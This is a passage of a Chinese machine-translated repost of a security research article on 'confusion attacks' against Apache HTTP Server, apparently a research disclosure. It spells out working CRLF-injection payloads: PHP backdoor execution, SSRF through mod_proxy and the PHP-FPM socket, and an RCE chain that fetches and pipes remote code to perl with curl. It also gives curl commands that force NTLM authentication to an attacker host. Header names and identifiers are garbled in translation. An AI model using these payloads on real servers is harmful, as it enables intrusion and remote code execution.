通过调用任何处理程序的能力,可以覆盖访问Content-Type
不应远程访问的敏感信息:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
位置:/ooo %0d%0a
内容类型:服务器状态%0d%0a
%0d%0a
✔️ 3-2-2. 任意处理程序误解脚本
将具有合法扩展名的图像转换为 PHP 后门也很容易。例如,此原语允许指定mod_php
在图像中执行嵌入的恶意代码,例如:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
位置:/uploads/avatar.webp %0d%0a
内容类型:application/x-httpd-php %0d%0a
%0d%0a
✔️ 3-2-2. 任意处理程序到完整 SSRF
mod_proxy
当然,调用来访问任何 URL 上的任何协议都很简单:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
位置:/ooo %0d%0a
内容类型:代理:http://example.com/%3F %0d%0a
%0d%0a
此外,这也是一个完全控制的 SSRF,您可以控制所有请求标头并获取所有 HTTP 响应!略微令人失望的是,访问云元数据时会mod_proxy
自动添加一个标头,该标头会被 EC2 和 GCP 的元数据保护机制X-Forwarded-For
阻止,否则,这将是一个更强大的原语。
✔️ 3-2-3. 任意处理程序访问本地 Unix 域套接字
然而,mod_proxy
它提供了一个更“方便”的功能——它可以访问本地 Unix 域套接字!😉
以下是访问 PHP-FPM 的本地 Unix 域套接字来执行位于的 PHP 后门的演示/tmp/
:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
位置:/ooo %0d%0a
内容类型:代理:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
理论上,这种技术还有更多潜力,例如协议走私(在 HTTP/HTTPS 协议中走私 FastCGI 😏)或利用其他易受攻击的本地套接字。这些可能性留给感兴趣的读者去探索。
✔️ 3-2-4. 任意处理程序到 RCE
最后,让我们演示如何使用常见的 CTF 技巧将此原语转换为 RCE!由于官方PHP Docker镜像包含 PEAR(一个命令行 PHP 包管理工具),因此使用它Pearcmd.php
作为入口点可以让我们实现进一步的利用。您可以查看由Phith0n撰写的这篇文章 — Docker PHP LFI 摘要了解详细信息!
这里我们利用命令注入run-tests
来完成整个漏洞利用链,具体如下:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
位置:/ooo? %2b 运行测试 %2b -ui %2b $(curl${IFS} orange.tw/x|perl ) %2b alltests.php %0d%0a
内容类型:代理:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
在安全公告或漏洞赏金计划中,CRLF 注入或标头注入被报告为 XSS 是很常见的。虽然这些漏洞有时会引发影响深远的漏洞,例如通过 SSO 进行的帐户接管,但请不要忘记它们也可能导致服务器端 RCE,因为此演示证明了其潜力!
🔥 4. 其他漏洞
虽然这基本上涵盖了混淆攻击,但在我们对 Apache HTTP Server 进行研究期间发现的一些小漏洞值得单独提一下。
⚔️ CVE-2024-38472 - 基于 Windows UNC 的 SSRF
首先,该函数的 Windows 实现apr_filepath_merge()
允许使用 UNC 路径,这允许攻击者将 NTLM 身份验证强制到任何主机。这里我们列出了两种不同的触发路径:
✔️ 通过 HTTP 请求解析器触发
通过 Httpd 中的 HTTP 请求解析器直接触发需要额外的配置,这乍一看似乎不切实际,但通常与 Tomcat(mod_jk
、mod_proxy_ajp
)或与PATH_INFO配对出现:
AllowEncodedSlashes On
另外,由于Httpd在2.4.49之后重写了核心的HTTP请求解析器逻辑,因此在上述版本中触发漏洞需要额外的配置:
AllowEncodedSlashes On
MergeSlashes Off
通过使用两个%5C
可以强制Httpd将NTLM身份验证强制为,并且实际上,这个SSRF可以通过NTLM Relayattacker-server
转换为RCE !
$ curl http://server/%5C%5Cattacker-server/path/to
✔️ 通过 Type-Map 触发
在Debian/Ubuntu发行版的 Httpd 中,Type-Map 是默认启用的:
AddHandler type-map var
通过将.var
文件上传到服务器并将 URI 字段设置为 UNC 路径,您还可以强制服务器向攻击者强制执行 NTLM 身份验证。这也是我提出的第二个.var
技巧。😉
⚔️ CVE-2024-39573 - 通过完全控制RewriteRule
前缀来攻击 SSRF
最后,当您完全控制RewriteRule
替换目标的前缀Server Config
或VirtualHost
完全可控制时,您可以调用mod_proxy
及其子模块:
RewriteRule ^/broken(.*) $1
使用以下 URL 可以将请求委托给mod_proxy
进行处理:
$ curl http://server/brokenproxy:unix:/run/[...]|http://path/to
但如果管理员对规则进行了适当的测试,他们就会意识到这样的规则是不切实际的。因此,最初它是与另一个漏洞一起作为漏洞利用链报告的,但安全团队也将此行为视为安全边界修复。随着补丁的发布,其他研究人员将同样的行为应用于 Windows UNC 并获得了另一个额外的 CVE。
未来工作
最后,我们来谈谈这项研究的未来工作和需要改进的地方。混淆攻击仍然是一个非常有前途的攻击面,特别是因为我的研究主要集中在两个领域。除非 Apache HTTP Server 进行架构改进或提供更好的开发标准,否则我相信我们将来会看到更多的“混淆”!
那么,还有哪些地方可以改进呢?实际上,不同的 Httpd 发行版有不同的配置,因此其他类 Unix 系统(如 RHEL 系列、BSD 系列,甚至使用 Httpd 的应用程序)可能具有更多可逃避的RewriteRule
、更强大的本地小工具和意外的符号跳转。这些都留给有兴趣的人继续探索。
由于时间限制,我无法分享更多在实际网站、设备甚至开源项目中发现和利用的真实案例。但是,您可能可以想象——现实世界仍然充满了无数未探索的规则、可绕过的身份验证和隐藏的 CGI 等待被发现。如何在世界范围内追捕这些技术?这就是你的任务!
结论
维护一个开源项目确实很有挑战性,尤其是在试图平衡用户便利性和旧版本的兼容性时。稍有疏忽就可能导致整个系统受到损害,例如 Httpd 2.4.49 发生的情况,路径处理逻辑的微小变化导致了灾难性的CVE-2021-41773。整个开发过程必须小心地建立在一堆遗留代码和技术债务之上。所以,如果有任何 Apache HTTP Server 开发人员正在阅读这篇文章:感谢您的辛勤工作和贡献!
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):[EN] 混淆攻击:利用 Apache HTTP 服务器中隐藏的语义歧义!
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论